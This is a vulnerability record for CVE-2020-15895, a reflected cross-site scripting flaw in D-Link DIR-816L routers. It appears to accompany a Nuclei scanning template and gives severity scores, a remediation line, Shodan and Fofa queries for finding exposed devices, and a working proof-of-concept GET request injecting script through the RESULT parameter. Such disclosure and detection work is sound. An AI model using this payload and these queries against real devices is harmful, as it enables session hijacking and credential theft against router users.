| Title | D-Link DIR-816L 2.x - Cross-Site Scripting |
|---|---|
| Author | edoardottt |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest firmware update provided by D-Link to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.41498 |
| CVE ID | CVE-2020-15895 |
| CWE ID | CWE-79 |
| Shodan Query | html:"DIR-816L"http.html:"dir-816l" |
| Fofa Query | body="dir-816l" |
| Tags | cve2020 cve dlink xss vuln |
D-Link DIR-816L devices 2.x before 1.10b04Beta02 contains a cross-site scripting vulnerability. In the file webinc/js/info.php, no output filtration is applied to the RESULT parameter before being printed on the webpage. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow for theft of cookie-based authentication credentials and launch of other attacks.
GET /info.php?RESULT=",msgArray);alert(document.domain);// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.19
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-15895.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-15895.pcap
N/AN/A